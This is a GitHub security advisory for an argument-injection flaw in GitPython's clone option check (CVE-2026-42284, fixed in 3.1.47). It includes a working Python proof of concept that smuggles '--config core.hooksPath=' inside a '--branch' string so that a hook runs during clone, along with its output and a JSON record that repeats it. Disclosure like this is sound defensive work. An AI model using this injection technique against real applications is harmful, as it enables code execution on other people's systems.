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GHSA-X2QX-6953-8485

Vulnerability from github – Published: 2026-04-25 23:41 – Updated: 2026-05-13 13:37
VLAI
Summary
GitPython: Unsafe option check validates multi_options before shlex.split transformation
Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC

import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79

Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:41:49Z",
    "nvd_published_at": "2026-05-07T19:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=[\u0027--config\u0027, \u0027...\u0027]: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami \u003e {LOG.as_posix()}\\nhostname \u003e\u003e {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=[\u0027{payload}\u0027]: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=[\u0027{payload}\u0027]: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=[\u0027--config\u0027, \u0027...\u0027]: Block as expected\nmulti_options=[\u0027--branch main --config core.hooksPath=.../hooks\u0027]: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=\u003cdir\u003e` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.",
  "id": "GHSA-x2qx-6953-8485",
  "modified": "2026-05-13T13:37:24Z",
  "published": "2026-04-25T23:41:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/cve/CVE-2026-32686"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Unsafe option check validates multi_options before shlex.split transformation"
}



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